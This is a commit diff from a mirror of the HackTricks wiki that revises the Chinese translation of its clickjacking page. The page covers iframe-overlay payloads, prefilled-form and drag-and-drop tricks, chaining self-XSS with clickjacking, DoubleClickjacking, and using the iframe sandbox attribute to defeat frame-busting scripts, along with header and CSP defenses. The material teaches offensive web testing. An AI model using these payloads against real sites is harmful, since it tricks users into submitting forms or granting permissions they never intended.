mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/clickjacking.md'] to zh
This commit is contained in:
parent
b74c51aa4e
commit
7575366081
@ -8,14 +8,14 @@
|
||||
|
||||
### 预填充表单技巧
|
||||
|
||||
有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户按下提交按钮。
|
||||
有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
|
||||
|
||||
### 使用拖放填充表单
|
||||
|
||||
如果你需要用户**填写表单**,但不想直接要求他写一些特定的信息(例如你知道的电子邮件或特定密码),你可以只要求他**拖放**一些东西,这样就会写入你控制的数据,如在 [**这个例子**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) 中所示。
|
||||
|
||||
### 基本有效载荷
|
||||
```markup
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
position:relative;
|
||||
@ -35,7 +35,7 @@ z-index: 1;
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### 多步骤有效载荷
|
||||
```markup
|
||||
```css
|
||||
<style>
|
||||
iframe {
|
||||
position:relative;
|
||||
@ -59,7 +59,7 @@ left:210px;
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### 拖放 + 点击有效载荷
|
||||
```markup
|
||||
```css
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
@ -89,14 +89,23 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
如果您已识别出一个 **需要用户点击** 某个元素以 **触发** XSS 的 **XSS 攻击**,并且该页面 **易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
|
||||
如果您已识别出一个**需要用户点击**某个元素以**触发**XSS的**XSS攻击**,并且该页面**易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\
|
||||
示例:\
|
||||
您在账户的某些私人细节中发现了 **自我 XSS**(这些细节 **只有您可以设置和读取**)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。\
|
||||
攻击者可以准备一个 **点击劫持** 攻击,将 **表单** **预填充** **XSS 负载**,并 **欺骗** **用户** **提交** 表单。因此,**当表单被提交** 且值被修改时,**用户将执行 XSS**。
|
||||
您在账户的某些私人细节中发现了一个**自我XSS**(只有您可以设置和读取的细节)。包含设置这些细节的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。\
|
||||
攻击者可以准备一个**点击劫持**攻击,将该页面的**表单****预填充**为**XSS有效载荷**,并**欺骗**用户**提交**表单。因此,**当表单被提交**且值被修改时,**用户将执行XSS**。
|
||||
|
||||
## 减轻点击劫持的策略
|
||||
### DoubleClickjacking
|
||||
|
||||
### 客户端防御
|
||||
首先在[这篇文章中解释](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html),该技术会要求受害者在特定位置的自定义页面上双击一个按钮,并利用鼠标按下和点击事件之间的时间差,在双击期间加载受害者页面,以便**受害者实际上点击了受害者页面中的合法按钮**。
|
||||
|
||||
一个示例可以在这个视频中看到:[https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||
|
||||
> [!WARNING]
|
||||
> 该技术允许欺骗用户在受害者页面的一个地方点击,绕过所有针对点击劫持的保护。因此,攻击者需要找到**只需一次点击即可完成的敏感操作,例如接受权限的OAuth提示**。
|
||||
|
||||
## Strategies to Mitigate Clickjacking
|
||||
|
||||
### Client-Side Defenses
|
||||
|
||||
在客户端执行的脚本可以采取措施防止点击劫持:
|
||||
|
||||
@ -107,15 +116,15 @@ background: #F00;
|
||||
|
||||
然而,这些框架破坏脚本可能会被规避:
|
||||
|
||||
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
|
||||
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这会阻止 iframe 验证它是否是顶层窗口,例如,
|
||||
- **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。
|
||||
- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`allow-forms`或`allow-scripts`值而不带`allow-top-navigation`的`sandbox`属性来中和框架破坏脚本。这会阻止iframe验证它是否是顶层窗口,例如,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` 和 `allow-scripts` 值允许在 iframe 内部进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
||||
`allow-forms` 和 `allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
|
||||
|
||||
### 服务器端防御
|
||||
|
||||
@ -166,9 +175,9 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
**使用说明:**
|
||||
|
||||
- 弃用:child-src 正在被逐步淘汰,取而代之的是 frame-src 和 worker-src。
|
||||
- 弃用:child-src 正在逐步被 frame-src 和 worker-src 取代。
|
||||
- 回退行为:如果 frame-src 缺失,则使用 child-src 作为框架的回退。如果两者都缺失,则使用 default-src。
|
||||
- 严格的源定义:在指令中仅包含受信任的源,以防止利用。
|
||||
- 严格的源定义:在指令中仅包含受信任的源以防止利用。
|
||||
|
||||
#### JavaScript 框架破坏脚本
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user